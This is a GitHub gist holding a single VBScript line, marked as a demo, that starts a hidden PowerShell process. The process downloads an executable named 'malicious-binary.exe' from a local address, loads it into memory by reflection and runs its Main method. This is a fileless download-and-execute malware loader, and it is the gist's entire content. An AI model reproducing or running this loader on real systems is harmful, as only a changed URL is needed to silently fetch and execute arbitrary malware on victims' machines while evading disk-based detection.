Skip to content

Instantly share code, notes, and snippets.

@gothburz
Last active January 15, 2024 22:18
Show Gist options
  • Select an option

  • Save gothburz/af16733e97cb603b5a1a859bb7e71d7c to your computer and use it in GitHub Desktop.

Select an option

Save gothburz/af16733e97cb603b5a1a859bb7e71d7c to your computer and use it in GitHub Desktop.
' This is for demo puroposes
CreateObject("WScript.Shell").Run("powershell -NoProfile -WindowStyle Hidden $assembly = [System.Reflection.Assembly]::Load((Invoke-WebRequest 'http://127.0.0.1/malicious-binary.exe' -UseBasicParsing).Content); $null = $assembly.GetTypes(); $method = $assembly.GetType('MaliciousProgram').GetMethod('Main', [System.Reflection.BindingFlags]'Static, Public, NonPublic'); $null = $method.Invoke($null, @())")
@gothburz

Copy link
Copy Markdown
Author

soft wrap

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment